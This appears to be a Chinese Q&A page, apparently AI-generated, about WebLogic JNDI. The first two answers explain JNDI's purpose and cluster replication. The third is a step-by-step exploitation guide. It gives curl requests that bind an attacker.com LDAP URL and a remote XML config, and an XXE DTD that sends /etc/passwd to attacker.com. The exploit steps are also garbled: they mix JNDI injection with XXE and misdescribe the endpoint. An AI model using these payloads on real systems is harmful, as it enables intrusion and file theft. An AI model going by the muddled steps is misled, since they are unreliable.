weblogic中jndi用途

WebLogic 中的 JNDI 是 Java 命名和目录接口的缩写，用于在分布式系统中查找和访问命名对象。在 WebLogic 中，JNDI 可以用于查找 EJB、JMS、JDBC 数据源等资源。通过 JNDI，应用程序可以在运行时动态地查找和访问这些资源，从而实现更加灵活和可扩展的应用程序。

相关问题

weblogic集群 JNDI同步的原理

WebLogic集群中的JNDI同步是通过WebLogic的JNDI Replication机制实现的。JNDI Replication机制是一种在WebLogic集群中同步JNDI树的机制。它能够确保在集群中的所有服务器上都能够访问到相同的JNDI树，从而实现JNDI资源的共享和一致性。

JNDI Replication机制的实现原理如下：

1. WebLogic集群中的每个服务器都有一个本地JNDI树，用于管理本地JNDI资源。

2. 当JNDI资源发生变化时，比如添加、删除或修改某个JNDI资源，将会通知集群中的其他服务器。

3. 接收到通知后，其他服务器将会更新自己的JNDI树，以保持与发送通知的服务器相同。

4. JNDI Replication机制通过使用WebLogic的通信机制，如T3协议，实现服务器之间的通信和JNDI树的同步。

总之，JNDI Replication机制是WebLogic集群中实现JNDI资源共享和一致性的关键机制。它可以确保集群中的所有服务器都能够访问到相同的JNDI树，从而提高了应用程序的可靠性和可扩展性。

weblogic jndi注入漏洞利用

WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类，从而造成 RCE。攻击者可以通过构造恶意请求，将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上，从而实现远程代码执行。具体步骤如下：

1. 构造恶意请求，将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上。例如，可以使用以下命令将一个恶意的 LDAP URL 绑定到 WebLogic JNDI 树上：

curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "ldap://attacker.com:1389/Exploit", "targets": [{"identity": {"type": "Server", "name": "AdminServer"}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal

2. 构造恶意请求，触发 JNDI 注入漏洞。例如，可以使用以下命令触发漏洞：

curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "Exploit", "bindings": [{"name": "Exploit", "type": "javax.naming.Reference", "value": {"className": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryClassName": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryMethodName": "setConfigLocation", "factoryMethodArgs": ["http://attacker.com/evil.xml"]}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal

3. 在攻击者控制的服务器上，启动一个 HTTP 服务器，将恶意的 XML 文件放到该服务器上。例如，可以使用以下命令启动一个 Python HTTP 服务器：

python -m SimpleHTTPServer 80

4. 构造恶意的 XML 文件，该文件将在 WebLogic 服务器上执行恶意代码。例如，可以使用以下 XML 文件：

<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>

5. 在攻击者控制的服务器上，启动一个 HTTP 服务器，将恶意的 DTD 文件放到该服务器上。例如，可以使用以下命令启动一个 Python HTTP 服务器：

python -m SimpleHTTPServer 80

6. 构造恶意的 DTD 文件，该文件将在 WebLogic 服务器上执行恶意代码。例如，可以使用以下 DTD 文件：

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % remote "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?%payload;'>">
%remote;

7. 等待 WebLogic 服务器向攻击者控制的服务器发送 HTTP 请求，从而触发恶意代码的执行。